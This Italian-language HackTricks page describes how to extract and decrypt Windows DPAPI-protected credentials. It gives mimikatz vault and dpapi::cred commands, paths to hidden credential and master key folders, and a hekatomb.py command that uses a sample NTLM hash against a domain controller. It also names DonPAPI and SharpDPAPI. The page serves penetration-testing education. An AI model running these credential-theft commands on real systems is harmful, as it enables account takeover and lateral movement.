hacktricks/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md

9.5 KiB
Raw Blame History

DPAPI - Estrarre le Password

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

RootedCON è l'evento di sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

Cos'è DPAPI

L'API di protezione dei dati (DPAPI) è principalmente utilizzata all'interno del sistema operativo Windows per la crittografia simmetrica delle chiavi private asimmetriche, sfruttando segreti dell'utente o del sistema come una fonte significativa di entropia. Questo approccio semplifica la crittografia per gli sviluppatori consentendo loro di crittografare i dati utilizzando una chiave derivata dai segreti di accesso dell'utente o, per la crittografia di sistema, dai segreti di autenticazione del dominio del sistema, evitando così ai programmatori di gestire la protezione della chiave di crittografia stessi.

Dati Protetti da DPAPI

Tra i dati personali protetti da DPAPI ci sono:

  • Password di Internet Explorer e Google Chrome e dati di auto-completamento
  • Password di posta elettronica e account FTP interni per applicazioni come Outlook e Windows Mail
  • Password per cartelle condivise, risorse, reti wireless e Windows Vault, inclusi chiavi di crittografia
  • Password per connessioni desktop remote, .NET Passport e chiavi private per vari scopi di crittografia e autenticazione
  • Password di rete gestite dal Gestore delle credenziali e dati personali in applicazioni che utilizzano CryptProtectData, come Skype, MSN Messenger e altro

Elenco Vault

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

File delle credenziali

I file delle credenziali protetti potrebbero trovarsi in:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Estrai le informazioni sulle credenziali utilizzando mimikatz dpapi::cred, nella risposta puoi trovare informazioni interessanti come i dati criptati e il guidMasterKey.

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

Puoi utilizzare il modulo mimikatz dpapi::cred con il corretto /masterkey per decrittografare:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Chiavi principali

Le chiavi DPAPI utilizzate per crittografare le chiavi RSA dell'utente sono memorizzate nella directory %APPDATA%\Microsoft\Protect\{SID}, dove {SID} è l'Identificatore di Sicurezza di quell'utente. La chiave DPAPI è memorizzata nello stesso file della chiave principale che protegge le chiavi private degli utenti. Di solito consiste in 64 byte di dati casuali. (Nota che questa directory è protetta, quindi non è possibile elencarla utilizzando dir dal cmd, ma è possibile elencarla da PS).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

Questo è come appariranno un insieme di Master Keys di un utente:

Di solito ogni master key è una chiave simmetrica crittografata che può decrittare altri contenuti. Pertanto, estraire il Master Key crittografato è interessante per poter decrittare successivamente quel altro contenuto crittografato con esso.

Estrarre il master key e decrittare

Controlla il post https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ per un esempio su come estrarre il master key e decifrarlo.

SharpDPAPI

SharpDPAPI è un porting in C# di alcune funzionalità DPAPI dal progetto di @gentilkiwi Mimikatz.

HEKATOMB

HEKATOMB è uno strumento che automatizza l'estrazione di tutti gli utenti e i computer dalla directory LDAP e l'estrazione della chiave di backup del controller di dominio tramite RPC. Lo script risolverà quindi tutti gli indirizzi IP dei computer e eseguirà un smbclient su tutti i computer per recuperare tutti i blob DPAPI di tutti gli utenti e decrittare tutto con la chiave di backup del dominio.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

Con l'elenco dei computer estratto da LDAP puoi trovare ogni sottorete anche se non le conoscevi!

"Perché i diritti di amministratore di dominio non sono sufficienti. Hackeriamoli tutti."

DonPAPI

DonPAPI può dumpare automaticamente i segreti protetti da DPAPI.

Riferimenti

RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!